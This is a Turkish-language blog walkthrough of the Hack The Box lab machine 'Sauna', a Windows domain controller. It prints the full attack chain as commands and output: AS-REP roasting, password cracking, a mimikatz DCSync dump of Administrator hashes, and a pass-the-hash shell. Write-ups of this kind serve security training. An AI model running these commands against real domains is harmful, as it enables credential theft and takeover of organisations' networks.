İçeriğe geç

Suana

Tarih: 21/09/2021 | Yazar: kuday
Makine Adı Seviye OS Logo
Sauna - HTB Kolay Linux

Walkthrough

nmap taraması:

┌──(root💀kali)-[/home/…/Desktop/HTB/Windows/Suana] 
└─# nmap 10.10.10.175 -p- -A -T4 -Pn 
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. 
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-20 11:11 EDT 
Nmap scan report for 10.10.10.175 
Host is up (0.074s latency). 
Not shown: 65517 filtered ports 
PORT      STATE SERVICE       VERSION 
53/tcp    open  domain        Simple DNS Plus 
80/tcp    open  http          Microsoft IIS httpd 10.0 
| http-methods:  
|_  Potentially risky methods: TRACE 
|_http-server-header: Microsoft-IIS/10.0 
|_http-title: Egotistical Bank :: Home 
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2021-09-20 22:16:28Z) 
135/tcp   open  msrpc         Microsoft Windows RPC 
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name) 
445/tcp   open  microsoft-ds? 
464/tcp   open  kpasswd5? 
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0 
636/tcp   open  tcpwrapped 
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name) 
3269/tcp  open  tcpwrapped 
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) 
|_http-server-header: Microsoft-HTTPAPI/2.0 
|_http-title: Not Found 
9389/tcp  open  mc-nmf        .NET Message Framing 
49667/tcp open  msrpc         Microsoft Windows RPC 
49673/tcp open  msrpc         Microsoft Windows RPC 
49674/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0 
49677/tcp open  msrpc         Microsoft Windows RPC 
49695/tcp open  msrpc         Microsoft Windows RPC 
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port 
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete 
No OS matches for host 
Network Distance: 2 hops 
Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows 

Host script results: 
|_clock-skew: 7h01m51s 
| smb2-security-mode:  
|   2.02:  
|_    Message signing enabled and required 
| smb2-time:  
|   date: 2021-09-20T22:17:24 
|_  start_date: N/A 

TRACEROUTE (using port 80/tcp) 
HOP RTT      ADDRESS 
1   73.97 ms 10.10.14.1 
2   74.30 ms 10.10.10.175 

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . 
Nmap done: 1 IP address (1 host up) scanned in 277.03 seconds

Bir DC olduğu belli, domain adınıda öğrenmiş olduk. İnternet sitesine gittiğimde abouth sayfasında bazı isimler buldum bunun üzerine bir AD username list oluşturdum. Aslında bunun için bir kod yazdım belki lazım olur diye github hesabımıda ekledim: https://github.com/kudayDOTsite/username_creater

Projeyi çalıştırın ve isim soyisim olarak veri girin daha sonrasında size bir wordlist oluşturacaktır. Bu wordlist'i kullanarak ASPREPROAST denedim böylece offline bir şekilde hash kırabilirim. ASPREPROAST saldırısı için bir credential'a ihtiyacımız yoktur. Sonuçlar aşağıda..

┌──(root💀kali)-[/home/…/Desktop/HTB/Windows/Suana] 
└─# crackmapexec ldap 10.10.10.175  -u /opt/username_creater/user_wordlist.txt -p '' --asreproast ASREPROAST  --kdcHost 10.10.10.175                                                                                                   130 ⨯ 
LDAP        10.10.10.175    389    SAUNA            [*] Windows 10.0 Build 17763 x64 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL) (signing:True) (SMBv1:False) 
LDAP        10.10.10.175    389    SAUNA            [email protected]:55eaef6b85512119ae4c0cb6d88b4f6d$0a9fb778c3011fe88f1f734fe22165ae86607837292b94ed61f699c7b29a62a7a9203a253d401e4d0dc14f91dc42c975620ec9cb0d045bf23316bfcc4f1559bcfbb66b7fd656e9023ce80f44b1d26b48c91c36ff88a08258fec15f3519412c738e341cff1c99e1877a53fb52aa0be5c5559b5cc0b54c1052411be0cf03d9e70285f03bd709af351e9f9f80c72d160f8a0cff70d4fbe4539e72e5b492624749b3a54d22f192001f6ebeae6c3b9feb1e8e1cc918fa69dc89f9399e710eb6ef1f4a7d2bfdb58ea0c1ae52b6bd79b1d25698860843d8ef25ada309e239a8f04fef3f4826e1567d9914a3e4b4e24308cfcd3edcdbf2919199005b7136b2b8f6cd8ca6

Daha sonrasında bu hash'i john ile kırdım.

┌──(root💀kali)-[/home/…/Desktop/HTB/Windows/Suana] 
└─# john hash --show                                                                                                                                                                                                   
[email protected]:Thestrokes23 

1 password hash cracked, 0 left

Artık wsman ile bağlanma ihtimalim olabilir. Bunun için evil-winrm kullandım. Ve ilk flagimi okudum. Amacım bundan sonra daha fazla enumeration yapmak oldu. Bunun için tabikide bloodhound kullandım.


┌──(root💀kali)-[/home/…/HTB/Windows/Suana/blood]
└─# bloodhound-python -u fsmith  -p 'Thestrokes23' -ns 10.10.10.175 -d EGOTISTICAL-BANK.LOCAL -c all

INFO: Found AD domain: egotistical-bank.local
INFO: Connecting to LDAP server: SAUNA.EGOTISTICAL-BANK.LOCAL
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: SAUNA.EGOTISTICAL-BANK.LOCAL
INFO: Found 6 users
INFO: Connecting to GC LDAP server: SAUNA.EGOTISTICAL-BANK.LOCAL
INFO: Found 51 groups
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: SAUNA.EGOTISTICAL-BANK.LOCAL
INFO: Done in 00M 18S

DCSYNC saldırısı yapabileceğimi aşağıdaki çıktıda anladım ancak bunun için başka bir hesabın credential bilgilerine ihtiyacım var.

Elde ettiğim autologon ceredential'lar ile hedef kullanıcıya erişebildim ve dcsync saldırısını powershell üzerinden gerçekleştirdim.

*Evil-WinRM* PS C:\Users\svc_loanmgr\Documents> Invoke-Mimikatz -Command '"lsadump::dcsync /domain:egotistical-bank.local /user:Administrator"'

Access denied
At line:2579 char:27
+             $Processors = Get-WmiObject -Class Win32_Processor
+                           ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : InvalidOperation: (:) [Get-WmiObject], ManagementException
    + FullyQualifiedErrorId : GetWMIManagementException,Microsoft.PowerShell.Commands.GetWmiObjectCommand
The property 'AddressWidth' cannot be found on this object. Verify that the property exists.
At line:2593 char:14
+ ...        if ( ( $Processor.AddressWidth) -ne (([System.IntPtr]::Size)*8 ...
+                 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
    + CategoryInfo          : NotSpecified: (:) [], PropertyNotFoundException
    + FullyQualifiedErrorId : PropertyNotFoundStrict
Hostname: SAUNA.EGOTISTICAL-BANK.LOCAL / S-1-5-21-2966785786-3096785034-1186376766
  .#####.   mimikatz 2.1.1 (x64) built on Aug  3 2018 17:05:14 - lil!
.## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
## \ / ##       > http://blog.gentilkiwi.com/mimikatz
'## v ##'       Vincent LE TOUX             ( [email protected] )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/
mimikatz(powershell) # lsadump::dcsync /domain:egotistical-bank.local /user:Administrator                                                                 [DC] 'egotistical-bank.local' will be the domain
[DC] 'SAUNA.EGOTISTICAL-BANK.LOCAL' will be the DC server             [DC] 'Administrator' will be the user account                                                                Object RDN           : Administrator
** SAM ACCOUNT **
SAM Username         : Administrator
Account Type         : 30000000 ( USER_OBJECT )                                           User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )
Account expiration   :                                                                Password last change : 7/26/2021 9:16:16 AM

Object Security ID   : S-1-5-21-2966785786-3096785034-1186376766-500
Object Relative ID   : 500                                              Credentials:
  Hash NTLM: 823452073d75b9d1cf70ebdf86c7f98e
    ntlm- 0: 823452073d75b9d1cf70ebdf86c7f98e
    ntlm- 1: d9485863c1e9e05851aa40cbb4ab9dff
    ntlm- 2: 7facdc498ed1680c4fd1448319a8c04f
    lm  - 0: 365ca60e4aba3e9a71d78a3912caf35c
    lm  - 1: 7af65ae5e7103761ae828523c7713031
Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
    Random Value : 716dbadeed0e537580d5f8fb28780d44
* Primary:Kerberos-Newer-Keys * 
    Default Salt : EGOTISTICAL-BANK.LOCALAdministrator 
    Default Iterations : 4096 
    Credentials 
      aes256_hmac       (4096) : 42ee4a7abee32410f470fed37ae9660535ac56eeb73928ec783b015d623fc657 
      aes128_hmac       (4096) : a9f3769c592a8a231c3c972c4050be4e 
      des_cbc_md5       (4096) : fb8f321c64cea87f 
Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
    Random Value : 716dbadeed0e537580d5f8fb28780d44

* Primary:Kerberos-Newer-Keys * 
    Default Salt : EGOTISTICAL-BANK.LOCALAdministrator 
    Default Iterations : 4096 
    Credentials 
      aes256_hmac       (4096) : 42ee4a7abee32410f470fed37ae9660535ac56eeb73928ec783b015d623fc657 
      aes128_hmac       (4096) : a9f3769c592a8a231c3c972c4050be4e 
      des_cbc_md5       (4096) : fb8f321c64cea87f 
    OldCredentials 
      aes256_hmac       (4096) : 987e26bb845e57df4c7301753f6cb53fcf993e1af692d08fd07de74f041bf031 
      aes128_hmac       (4096) : 145e4d0e4a6600b7ec0ece74997651d0 
      des_cbc_md5       (4096) : 19d5f15d689b1ce5 
    OlderCredentials 
      aes256_hmac       (4096) : 9637f48fa06f6eea485d26cd297076c5507877df32e4a47497f360106b3c95ef 
      aes128_hmac       (4096) : 52c02b864f61f427d6ed0b22639849df 
      des_cbc_md5       (4096) : d9379d13f7c15d1c 

* Primary:Kerberos * 
    Default Salt : EGOTISTICAL-BANK.LOCALAdministrator 
    Credentials 
      des_cbc_md5       : fb8f321c64cea87f 
    OldCredentials 
      des_cbc_md5       : 19d5f15d689b1ce5 

* Packages * 
    NTLM-Strong-NTOWF 

* Primary:WDigest * 
    01  b4a06d28f92506a3a336d97a66b310fa 
    02  71efaf133c578bd7428bd2e1eca5a044 
    03  974acf4f67e4f609eb032fd9a72e8714 
    04  b4a06d28f92506a3a336d97a66b310fa 
    05  79ba561a664d78d6242748774e8475c5 
    06  f1188d8ed0ca1998ae828a60a8c6ac29 
    07  801ddc727db9fa3de98993d88a9ffa8b 
    08  a779e05da837dd2d303973304869ec0f 
    09  ac2c01846aebce4cbd4e3ec69b47a65d 
    10  6d863d6ae06c3addc49b7a453afe6fa0 
    11  a779e05da837dd2d303973304869ec0f 
    12  6676b9fdd4aa7f298f1ada64c044c230 
    13  5a01167d750636d66e5602db9aece9b7 
    14  f702282bd343c2fee7b98deac8950390 
    15  a099aa3c81f1affeba59d79a6533f60d 
    16  4bae84b8f0b0306788ff9bda4acb3bd4 
    17  976d547fb9e04b0ac5ec60508c275da1 
    18  50c302b71d0e08a1a2be14b56225645f 
    19  edb19e08653443695f6d3599e0a6bddf 
    20  c497465ddc6e2fc14cb0359d0d5de7f8 
    21  2ed0b4b57196fb190a66224b2b17029f 
    22  37d03051ae1cd6046975948564ab01fa 
    23  d4c7554fe1beb0ed712f50cfec470471 
    24  8df495fe69cdce409b9f04ea04289b9e 
    25  40788044be982310920cc0740687fefd 
    26  db7f66f1f1a8f46274d20cfdda5b6e1c 
    27  d70226ec52f1ef198c2e1e955a1da9b6 
    28  abdd681f875a9b3f3a50b36e51692a2c 
    29  dcd140a2ce2bf70fed7ac0e2b60d0dee

Hadı administrator olalım.

┌──(root💀kali)-[~] 

└─# evil-winrm -i 10.10.10.175 -u Administrator -H 823452073d75b9d1cf70ebdf86c7f98e  

Evil-WinRM shell v3.3 
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine 
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion 
Info: Establishing connection to remote endpoint 
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami 
egotisticalbank\administrator
Kategori:Active DirectoryWalkthrough

İlk Yorumu Siz Yapın

Bir yanıt yazın

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir